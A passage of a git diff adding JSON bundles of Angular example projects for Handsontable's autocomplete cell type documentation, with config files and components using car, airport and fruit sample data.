\"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n\n readonly data = [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'autocomplete',\n source: (_query: string, process: (items: string[]) => void) => {\n fetch('https://handsontable.com/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode with asynchronous data","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json new file mode 100644 index 00000000..9b58fc65 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Array of values · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly shipmentKVData = [\n ['Electronics and Gadgets','Los Angeles International Airport'],\n ['Medical Supplies', 'John F. Kennedy International Airport'],\n ['Auto Parts', 'Chicago O\\'Hare International Airport'],\n ['Fresh Produce', 'London Heathrow Airport'],\n ['Textiles', 'Charles de Gaulle Airport'],\n ['Industrial Equipment', 'Dubai International Airport'],\n ['Pharmaceuticals', 'Tokyo Haneda Airport'],\n ['Consumer Goods', 'Beijing Capital International Airport'],\n ['Machine Parts', 'Singapore Changi Airport'],\n ['Food Products', 'Amsterdam Airport Schiphol']\n ];\n\n readonly airportKVData = [\n 'Los Angeles International Airport',\n 'John F. Kennedy International Airport',\n 'Chicago O\\'Hare International Airport',\n 'London Heathrow Airport',\n 'Charles de Gaulle Airport',\n 'Dubai International Airport',\n 'Tokyo Haneda Airport',\n 'Beijing Capital International Airport',\n 'Singapore Changi Airport',\n 'Amsterdam Airport Schiphol',\n 'Frankfurt Airport',\n 'Seoul Incheon International Airport',\n 'Toronto Pearson International Airport',\n 'Madrid-Barajas Airport',\n 'Bangkok Suvarnabhumi Airport',\n 'Munich International Airport',\n 'Sydney Kingsford Smith Airport',\n 'Barcelona-El Prat Airport',\n 'Kuala Lumpur International Airport',\n 'Zurich Airport'\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: this.airportKVData,\n title: 'Airport',\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example4.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example4","exampleTitle":"Array of values","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json new file mode 100644 index 00000000..5ba06932 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Array of objects · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example5-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly shipmentKVData = [\n [\n 'Electronics and Gadgets',\n { key: 'LAX', value: 'Los Angeles International Airport' },\n ],\n [\n 'Medical Supplies',\n { key: 'JFK', value: 'John F. Kennedy International Airport' }\n ],\n [\n 'Auto Parts',\n { key: 'ORD', value: 'Chicago O\\'Hare International Airport' }\n ],\n [\n 'Fresh Produce',\n { key: 'LHR', value: 'London Heathrow Airport' }\n ],\n [\n 'Textiles',\n { key: 'CDG', value: 'Charles de Gaulle Airport' }\n ],\n [\n 'Industrial Equipment',\n { key: 'DXB', value: 'Dubai International Airport' }\n ],\n [\n 'Pharmaceuticals',\n { key: 'HND', value: 'Tokyo Haneda Airport' }\n ],\n [\n 'Consumer Goods',\n { key: 'PEK', value: 'Beijing Capital International Airport' }\n ],\n [\n 'Machine Parts',\n { key: 'SIN', value: 'Singapore Changi Airport' }\n ],\n [\n 'Food Products',\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' }\n ]\n ];\n\n readonly airportKVData = [\n { key: 'LAX', value: 'Los Angeles International Airport' },\n { key: 'JFK', value: 'John F. Kennedy International Airport' },\n { key: 'ORD', value: 'Chicago O\\'Hare International Airport' },\n { key: 'LHR', value: 'London Heathrow Airport' },\n { key: 'CDG', value: 'Charles de Gaulle Airport' },\n { key: 'DXB', value: 'Dubai International Airport' },\n { key: 'HND', value: 'Tokyo Haneda Airport' },\n { key: 'PEK', value: 'Beijing Capital International Airport' },\n { key: 'SIN', value: 'Singapore Changi Airport' },\n { key: 'AMS', value: 'Amsterdam Airport Schiphol' },\n { key: 'FRA', value: 'Frankfurt Airport' },\n { key: 'ICN', value: 'Seoul Incheon International Airport' },\n { key: 'YYZ', value: 'Toronto Pearson International Airport' },\n { key: 'MAD', value: 'Madrid-Barajas Airport' },\n { key: 'BKK', value: 'Bangkok Suvarnabhumi Airport' },\n { key: 'MUC', value: 'Munich International Airport' },\n { key: 'SYD', value: 'Sydney Kingsford Smith Airport' },\n { key: 'BCN', value: 'Barcelona-El Prat Airport' },\n { key: 'KUL', value: 'Kuala Lumpur International Airport' },\n { key: 'ZRH', value: 'Zurich Airport' }\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n title: 'Shipment',\n },\n {\n type: 'autocomplete',\n source: this.airportKVData,\n title: 'Airport',\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example5.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example5","exampleTitle":"Array of objects","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json new file mode 100644 index 00000000..2865ab74 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The filter option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `\n})\nexport class AppComponent {\n readonly fruits = [\n 'Apple',\n 'Apricot',\n 'Avocado',\n 'Banana',\n 'Blueberry',\n 'Cherry',\n 'Grape',\n 'Lemon',\n 'Lime',\n 'Mango',\n 'Orange',\n 'Peach',\n 'Pear',\n 'Pineapple',\n 'Plum',\n 'Raspberry',\n 'Strawberry',\n 'Watermelon',\n ];\n\n readonly data = [\n ['Apple', 'Apple'],\n ['Banana', 'Banana'],\n ['Cherry', 'Cherry'],\n ['Mango', 'Mango'],\n ['Orange', 'Orange'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n colHeaders: ['Filter: true (default)', 'Filter: false'],\n columns: [\n {\n type: 'autocomplete',\n source: this.fruits,\n strict: false,\n },\n {\n type: 'autocomplete',\n source: this.fruits,\n strict: false,\n // don't hide options that don't match the search query\n filter: false,\n },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example6.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example6","exampleTitle":"The filter option","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json new file mode 100644 index 00000000..029fa8e0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · The filteringCaseSensitive option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
